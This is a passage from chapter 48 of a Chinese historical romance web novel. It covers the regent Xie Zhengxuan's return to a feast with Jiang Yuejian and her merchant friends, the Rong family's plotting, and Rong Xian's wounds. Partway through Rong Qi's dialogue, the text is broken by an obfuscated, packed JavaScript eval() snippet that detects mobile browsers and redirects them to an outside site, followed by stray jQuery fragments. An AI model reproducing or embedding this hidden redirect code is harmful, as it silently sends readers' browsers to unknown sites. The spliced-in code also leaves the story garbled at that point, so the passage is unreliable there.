48. 苦衷

    正月的京城呵气成霜,热闹的节气氛围穿透层层雪幕,将夜色晕染上温热的光。


    谢徵玄勒马于朱门外,翻身下马,快步走入王府。


    推开垂花门,暖流裹挟着梅子酒的酸甜扑面而来。


    正厅内烛火通明,紫檀木屏风后人影绰绰,银箸击盏声与女子低笑糅成细碎的涟漪。


    他的脚步在廊下微滞,但见屏风缝隙间,一截天水碧的罗袖正挽着素手布菜,腕间一双白玉手镯交相辉映,正是江月见。


    而她身侧,围着几个女子,言笑晏晏,热络非常。


    “摄政王归了!”何慈轻呼一声。


    满室喧哗骤歇,数道目光投来。江月见停滞动作,转身朝向他,未语先笑,快步走来,髻间素银簪滑落一缕青丝,飘扬在颊边。


    “殿下回来了。羊肚羹还温着,快用些吧,外头可冷?锦瑟呢,她还好么?”


    锦瑟从后头踉跄着扑来,攥住江月见袖角,喉间紧张的语调迸出。


    “我……我见到皇上了,还有皇后!吓死我了!”


    江月见反手握住她颤抖的手腕。


    “锦瑟姐姐,委屈你了。”


    “不委屈不委屈。”锦瑟赶紧换上笑意,安慰道:“旁人这辈子兴许都没机会得见天颜呢。况且我又没事,大人护着呢,不委屈。”


    何慈、岁欢、吴姣依次上前,朝谢徵玄行礼。


    谢徵玄的目光还烙在江月见身上,烛影在她月白襦裙上流淌,他喉结滚动,终只沉声道:“今日之事,我代阿初谢过诸位。”


    几个女子哪里料到冷面肃杀的摄政王会向她们道谢,锦瑟忙站出身来摆手。


    “不打紧的,听闻初霁妹妹不便入宫,我不过是替她面个圣,哪里要大人同我道谢呢。”


    她们几人早当江月见是闺中密友,称呼自然也亲厚了许多。


    原来,正巧年节,商队接了笔京城的大单,她们几人便结伴入京送货。本想送完货找机会寻流光一见,谁料那大单的主家便是摄政王。


    王府不仅给了她们好大一笔钱财,还邀她们多住几日,陪陪流光。


    只是摄政王有心要给个惊喜于她,故叫几人先别露面,待到晚宴再悄然出现。不料黄昏时分宫中传出旨意,召流光入宫,摄政王当时便留了心眼,单独叫出锦瑟,吩咐了些事情。


    后来临近夜宴时分,果然有宫人前来,询问骆管家,说是帝后下旨,邀请摄政王小妾一同入宫赴宴。


    骆管家早得了吩咐,已叫锦瑟换好了衣裳,还觅来了江月见的狐狸面具,叫她覆面入宫。


    锦瑟何曾经历过这样惊心动魄的场面,她心里知道,入了宫若稍有不测,便有可能人头落地。


    说不怕,那是假的。幸好有摄政王的两名亲卫一路同行护卫,还不时与她闲谈说笑,多少减轻了她的紧张与害怕。


    待到入了宫,那两位亲卫便不能再进了。


    当她于宫门处踌躇之时,一旁的华贵马车上却快步行来一人,那人一袭锦袍,矜贵俊逸,长身玉立的清流君子模样,只是眉目间染着郁色,似很是疲劳虚弱。


    “阿月。”那人轻唤。


    她不晓得是在叫谁,不敢多做停留,垂头行进。


    可他忽地拦在了她面前,乌黑的眼眸探究地望着她,半晌,轻声问:“你是谁?”


    她愣住了,落在他清澈的眼神下无处遁逃,紧张地绞着衣角,回道:“我是……摄政王的小妾。”


    那人默了默,侧过身来。


    “姑娘,得罪了,我与你同行,可好?”


    ……


    席间蒸腾着暖香。锦瑟连饮了三杯压惊酒,胭脂染透的唇终于有了血色,指着江月见笑叹。


    “妹妹可算是守得云开见月明了,大人对妹妹,果真是极好。留你一人在这吃人不吐骨头的京城,我们也可放心了!”


    满座哄笑中,江月见垂首瞟了眼谢徵玄。


    他淡笑着片了块炙鹿肉,投入江月见盘中。


    “殿下,今日中书令这是闹得哪一出?”她压低了声音问道。


    “如你所见,容府内并非铁板一块。容愈与其次子容岐一方,容羡又是一方。双方定有龃龉,或牵扯将军府案情。容愈前些日子行刺你不成,应是想将事情闹大,以你为借口,逼容羡正式与我宣战。”


    “只是那老家伙,或许没想到,你与将军府还有牵连。”


    江月见心中一阵后怕,若非谢徵玄及时应对,她今日面见帝后与容愈,必然会暴露身份。


    皇后沈妗妗与她是手帕交,只怕戴着面具也逃不过她的眼睛。她虽知道,表姐定然牵挂她的安危,盼着她能活着,可这杀头的罪,少一人知道便多一分保障。


    “幸好殿下未雨绸缪。”江月见苦涩,端起酒杯来,道:“我敬殿下一杯,为了我,又劳殿下费心了。”


    谢徵玄幽深的眼眸盯着她,半晌,道:“你若再与我文绉绉地生分至此,我便……”


    “便怎样?”


    “便罚你。”


    “罚我什么?”


    “罚你,再醉一次。”


    他将酒接过,却没有喝,而是俯身,将酒杯端至她唇边,哄骗似的说:“梅子酒,不醉人,你尝尝罢。”


    江月见自然知道他在说什么,脑子里瞬间闪过绯红色的薄云,想到那夜梦回时缱绻旖旎的场面,腮边染霞,匆匆撇过头去。


    “那我不喝了。”


    “可以。”谢徵玄慢条斯理地将酒自顾自饮了,说:“答应我,别再唤我殿下。”


    “知道了。”她嘴角掠过笑,嗔怪地应了。


    席间觥筹交错,直到夜半。


    定山与溯风匆匆回席,劲装染血,却是志得意满,轻松惬意。


    “事情都了了,主子放心。”


    谢徵玄颔首,唤人给他们添了酒。


    ——


    容府。


    “你说什么?!”


    次子容岐跪倒在地,咬牙道:“父亲,出宫后我便寻了画师,将那女子的容貌描述一番,绘成画像。又派人去寻了那新晋的御林军司阶李守一,当时在浔阳城,他是见过那小妾样貌的。只消一比对,便能知道,摄政王到底有没有鱼目混珠。”


    “可是,待寻到人了,那李守一却正在被禁军围堵,见到我,他立刻从宫墙上跳了下来,径直跌在了我身前!”


    “父亲!他血淋淋的手就抓着儿子,让我救救他!禁军追来我才知道,那李守一居然偷了御林军统帅的腰牌,不知道要做什么谋逆杀头的事情去!父亲,幸亏儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848952|170279||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子去得晚,否则是跳进黄河也洗不清啊。”


    容愈面色铁青,说:“那人呢?”


    “死了啊!禁军果然在他尸首上发现了统帅腰牌,人赃并获,尸体都被捅了个对穿。父亲,你说……去岁骠骑将军的案子就是他派人告密的,会不会当时的事被人发现了,那人出手了?!父亲,我们怎么办?!”


    “闭嘴——!”容愈狠狠呵斥:“哪儿来的骠骑将军,江河早死了!这事你不要再办了,摄政王那小子已经有了戒备,再难寻到他错漏了,别将容家赔进去。我问你,阿羡当时是不是在乱葬岗收敛了那江家女儿的尸骨?”


    “是……父亲。”


    “那便算了。将军府抄斩当日我是知道的,没有一只苍蝇能逃得出去。阿岐,你也不要自乱阵脚,被人牵着鼻子走!”


    “是,父亲……”容岐牙关紧绷,又道:“可是父亲,兄长当时在乱葬岗找了七八日都未找着,后来却突然放话说找到了,还在您眼皮子底下安排人给她落葬,难道不是故弄玄虚?依我看,那江家女儿说不定没死!”


    “你懂什么!”容愈阴鸷的眼神扫过他,“我这个好儿子,是故意恶心我呢。”


    “若无那遭子事,江家女儿早已是你大嫂。阿羡……他为此恨了我多年。”


    ……


    容府一侧厢房。


    残雪压檐,夜色如锈。


    容羡褪下浸透冷汗的官袍,铜镜里映出一道狰狞裂口——怡和亭那场御前博弈,他躬身叩首的每个动作,都让伤口重新撕开皮肉。


    血水混着脓液黏住里衣,撕离时引出尖锐的痛。


    他咬住一截素绸,将金疮药狠狠按进伤口,剧痛窜上脊椎,汗珠滚过突跳的太阳穴,他的眼前顿时晕开一片浑浊的血雾。


    待那血色散尽时,他的目光又缓缓垂向左肩的疤,尖锐的凹陷边缘还泛着猩红,那是除夕夜阿月持簪在他肩上留下的痕迹。


    他的指尖抚上这处伤口,还未愈合的皮肉又渗出冰凉的痛意。


    他颓然坐在冰冷的床榻上,背靠床架,忽然低笑起来。


    阿月……你还活着。


    这念头像淬了毒的饴糖,又甜又涩。她刺伤他的动作可真狠啊,没有一丝留情,带着似乎能焚尽一切的恨。可正因如此,他才知道,她活下来了,不仅如此,还活得恣意张扬。


    那样很好。


    “活着就好……恨我,也好。”他对着虚空喃喃,喉间涌上铁锈般的腥气。


    记忆被血腥气拉扯,慢慢倒退回两月前那场淹没京城的暴雨。


    那场暴雨极大,连绵了数十日不休。有一日,士大夫又纠集游行,父亲容愈应召入宫,商议对策,深夜未归,而他偶然路过后园那顷魏紫姚黄的牡丹田。


    那片花田费了父亲几乎半生心血,有从洛阳移栽的名种牡丹,花开时节灿若云锦,连宫里的皇后娘娘都遣人来讨过几株。


    暴雨侵袭,花田泥泞成沼泽,浑浊的泥汤裹挟着残瓣,在围栏下积成腥臭的淤潭。


    他派身边心腹小厮修整花田。


    “公子!花根……花根底下有东西!”小厮连竹滚爬进书房时,他正在临摹一幅《墨竹坡石图》,笔尖一顿,浓墨在宣纸上泅开大团污迹。


    他随连竹踏入暴雨。